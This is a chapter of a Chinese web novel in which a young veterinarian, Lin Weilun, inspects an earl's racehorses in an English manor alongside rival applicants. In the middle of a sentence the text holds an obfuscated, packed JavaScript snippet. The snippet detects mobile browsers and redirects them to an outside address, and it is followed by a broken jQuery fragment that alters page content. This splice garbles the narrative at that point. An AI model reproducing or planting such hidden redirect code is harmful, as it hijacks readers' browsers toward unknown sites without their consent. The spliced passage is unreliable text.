林维伦胸腔里也觉得热热乎乎的。 虽然他很清楚，这恐怕是老费里的“遗产交接”，但时间真的太短了，这种信任确实触动人心。 “谢谢您，”他想了一下，“如果我圆满完成任务，不如明晚来我家吃饭怎么样？我早上买到了不错的野鸭，还是活的。” 费里“腾”一下坐直，眼底冒出狼一样的光。 “你说真的？” 连管家也“噔噔“几步冲过来，“好孩子，放心吧！我们一定会去的！ 林维伦笑了起来。 “好吧，”老人肩膀一松，懒懒倚靠回椅背上，“现在我才终于觉得这个决定值得了。” - 第二天一早，林维伦就开着老费里的福特车，前往伯爵的家。 这是他第一次来到20世纪的英格兰庄园，仿佛走进了电影。 三五个园丁穿梭在茂盛的园林中，这里不仅有橘子树，还有一片橄榄林。 红白的郁金香铺满甬道两侧，金盏花摇曳生姿，石砖路被打扫的闪闪发光，像撒了一把珍珠。 这里甚至有身穿燕尾服的男仆和蓬蓬裙的女仆，每个人都穿着纯羊皮的小高跟，脊背直得仿佛板砖。 只是他们没人戴假发，这多少让带着观光心理的林维伦有点遗憾。 得知他的身份和来意后，带着单片镜的仆人露出不太愉快的神情，“我们明明邀请的是邓普斯·费里。” “费里先生今天有些突发情况，”林维伦彬彬有礼，却并非一味退让，“他托我一定要和伯爵大人说声‘抱歉‘。您应该能明白他是如此重视和伯爵的的关系，诊所没有比这更重要的事情了，所以这也是他选择我代替来到此地的原因。” 男仆这才正视眼前的年轻人——太年轻了，像刚从学校毕业没多久，仅凭一腔野心和单纯勇闯天涯的傻瓜笨蛋。 不过既然都这样说了。 “跟我来吧，”男仆神色淡淡，倨傲转身，“马舍在后面，记得跟紧我，不要来回乱看乱动，伯爵的一切都价值连城。” 他说的没错，庄园中心的别墅几乎像个城堡。 斜斜的阳光从连廊洒下，胖乎乎的天使雕塑镶嵌在石柱上。 每隔几米就有一人高的巨大花盆，沁着露珠的黄水仙娇嫩芬芳。 林维伦跟着男仆穿过教堂般辉煌的大厅，静谧长廊，和一队身穿洁白厨师服的人擦肩而过。 他们似乎已经在为午餐做准备了，一只绵羊才刚刚死去，处理干净的尸体被两个人抬着。还有人手捧装饰需要的百合和高脚烛台，还有一个人提着一篮新鲜的刺山柑。 空气里满是香甜与华贵的味道。 不过目的地还要更远一些。 一座与森林相连的私人马场坐落在庄园边缘。 15人的团队负责照料五匹马，其中的每一匹都是纯血英格兰。它们甚至拥有自己的族谱，往上能清楚查到祖祖辈辈的登记。 在贵族的马场，血统论比斯莱特林要还偏执。 这也导致这群四脚动物被培养成了最为高贵的模样，它们的毛发即使在马舍里依旧闪烁着细碎的光，长颈顺滑优美，体态轻盈，脊背与四肢的肌肉线条发达而匀称，眼睛里仿佛盛满星星。 看见年轻人眼中一闪而过的惊叹，仆人忍不住挺了挺胸脯，与有荣焉，“你看见的每一匹马都比德纳姆镇上的房子还要贵，所以你明白了？最好赶紧回去把费里先生请过来，这不是没经验的兽医能够触碰的。” “总有些东西觉得套上一样的黑皮就能和高贵的马儿拥有同等地位。”林维伦终于不耐烦了。 完美的庄园偏偏养了一只聒噪无比的苍蝇。 他转动视线，落到象征地位的燕尾服上，“拜托你，省省吧，该找准自己位置的人从来不是我。脖子上既然拴着绳索就该跪的聪明点，知道如何对待客人。可你呢？伯爵的脸面和修养刚刚已经被你撕掉一大半，真是难以想象如此风度翩翩的庄园怎么会出现老鼠屎？除非是你付给费里诊所钱，否则我和伯爵都将感激你闭上你的嘴。” 男仆瞪大眼睛，被突如其来的讽刺震惊到了，脸上血色迅速退去，连话都结巴起来。 “你…..你…..” “在吵什么？”一位大胡子拎着水桶走了过来，锐利的视线在两人身上来回打转，“这是谁？老费里在哪里？就差他一个了。” “这是费里诊所的新人，”男仆狠狠剜了林维伦一眼，把“新人”两个字咬的颇重，“你直接带他过去吧，反正他也选不上。” 说完，男仆扭头就走，大胡子转向年轻兽医。 “我是维伦·林格特，费里诊所的二把手，农业部官方合作伙伴。今天费里先生无法前来，所以我来了。”出门在外，身份是自己给的。 林维伦自我介绍时语气很淡，他从男仆口中察觉到了什么。 今天恐怕不是简单的看诊，那就更不能被人看低，他代表的并非他自己。 果然，大胡子听见后表情好了那么一点，再次拎起水桶，“那你跟我过来吧，赛马季就要来了，但我们原来的兽医回到了曼彻斯特——他实在太老了，已经无法胜任这份工作，所以伯爵打算重新聘用一位新兽医。” 停到这，林维伦已经想转身离开了。 他无意为伯爵工作，庄园里能接触到的动物根本没多少，环境会剥夺掉他成为兽医后唯一的乐趣。 可“来都来了”还是让他迈开脚步，跟着大胡子走进马舍。 这里除了骑师和养马人以外，还有两个手拎工具箱的人。 一个扎着小辫儿，一个矮个儿。 “瞧瞧，又来一个，”矮个儿率先开口，“还是个小白脸。不是我说，先生，我们可无意与大学生争夺同一个工作。” 大胡子摆摆手，“他来自于费里诊所，行了，各位，伯爵去打猎还没有回来。你们可以先开始了，任务很简单，把马舍里即将上场的马儿检查一遍，等伯爵回来将结果说给他听就可以。” “可我都没带午餐来呢，”矮个儿嘟囔着，“要是伯爵下午才回来怎么办？不知道中午能允许我回个家不？” “伯爵的庄园不会饿着客人们，”大胡子将水桶放到地上，“厨房已经开始为你们准备午餐了，餐点是牧羊人派配番茄奶油浓汤。如果渴了，有红茶和苹果汁。” 刺山柑就来自马场旁的森林，那一大片同样是菲利普的私人土地，味道是浓烈的甜。 矮个儿立刻喜笑颜开，“真是太谢谢伯爵大人了。” 林维伦注意到，扎小辫儿的那个男人似乎没太听那两人在说什么，视线却时不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427256|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落到他身上。 可那张脸他并不认识。 算了，反正他也不会在这里呆很久。不过伯爵的厨房是否可以期待一下？ 林维伦打开工具箱，取出听诊器，开始为马儿看诊。 因为兴致缺缺，所以他只是装模作样摸了几把，收集完文字说明后就结束了。 一共五匹赛马，他在最后一只马前放下手时，矮个儿和小辫儿还在闻第一匹马的屁股。 大胡子眉头皱了起来，“这么快？你就结束了？” 矮个儿摇摇头，带着过来人的语气，“你这样可不行，孩子，就算专业技能基本为零，也得让顾客看出你的态度。真不知道老费里是不是已经老得走不动路了，否则怎么会聘用你？” 大胡子也跟着摇头。 时间一点一点往前推进，林维伦百无聊赖看着两人奔着解剖马匹的架势，想了想，转身向外走去，和一靠近就脸蛋红红的女仆的要了杯红茶。 女仆偷看他几眼后，帮他端来一小碟饼干。 林维伦道了谢，尝了一口。 嗯，咸味薄脆饼干，如果抹上奶酪会更好吃。 就在这时，外面不知道谁喊了一声，“嘿！是伯爵回来了！快让开！” 所有人登时望向森林的方向，那里果然跑出三匹高头大马。 为首的男人穿着骑装，单手拎着一把长弓。没过几秒就冲过马场，停在了马舍中央。 后面两个要慢一些，不过马鞍上都拴着长而鼓的布袋，里面塞满了不断挣扎的活物。 林维伦听见身后传来紧张到吞咽口水的声音，是那个矮个儿。 男仆倒很利索，立刻迎了上去，接过大弓和箭筒，毕恭毕敬地弯下腰，“您辛苦了。” 有人递上湿润的毛巾，有人牵走微微出汗的宝马，有人殷勤端着加满冰块的冷茶走过来。 更有女仆甚至端来了一盆撒满玫瑰花瓣的清水，预备洗手。 还有些人围聚在两个长布袋旁，从里面拎出一只长长的细脚。 伯爵只是站在那里不到一个呼吸，身边就已经团团围了几圈的人。 可即便如此，人群落下的阴影依旧无法阻挡马鞭上镶嵌的钻石光芒。 他的目光落到几个陌生的面孔上。 “这些都是来应聘的兽医，”大胡子立即走上前做介绍，他指着那个话多的矮个儿，“这位是耶鲁先生。” 然后是林维伦——“这位是林格特先生。” 最后是那个小辫儿——“这位，是亨利先生。” 林维伦有些奇怪地偏头看了一眼，亨利是名字而不是姓，可前面两人介绍的明明都是姓氏。 然而小辫儿只是不停摸着自己的鼻子，根本不看他。 算了，和他又有什么关系，反正也不会在这里呆很久。 伯爵刚刚下马，说话时还带着微微喘息，“那么，先生们，我的马身体状况如何？” “非常好！”矮个儿抢着说道，语气恭敬又狗腿，“您的精神状态、步态、呼吸、牙齿、唾液还有皮肤状况都是最上乘的，能看出您的养马人绝对尽心尽力，像妈妈照顾宝宝一样。” 几句话说完，一旁的养马人们，包括那位大胡子都露出笑容。 之后是小辫儿亨利。 亨利清了清嗓子才上前一步，“耶鲁先生说的没错，只是我在检查过程中发现有些马儿的牙齿有不明显的牙垢，我认为应该尽快处理，否则很可能导致牙齿发炎，对马儿进食可能会产生影响。” 矮个儿瞪了一眼小辫儿，“牙垢每个动物都会有的，这根本不算什么毛病。你不要没事找事，在伯爵面前显得你很权威一样。” 亨利却并不答话。 伯爵很快转向第三个人。 对上视线后林维伦轻轻叹了口气，他原本并不想说的，他根本不愿意留下给伯爵干活儿，也不想有任何被青睐的机会。 但同行们实在…..扶不上墙。 “您的马身体状况都很好，”他边说边走到其中一匹母马身边，“只有这匹是个例外。”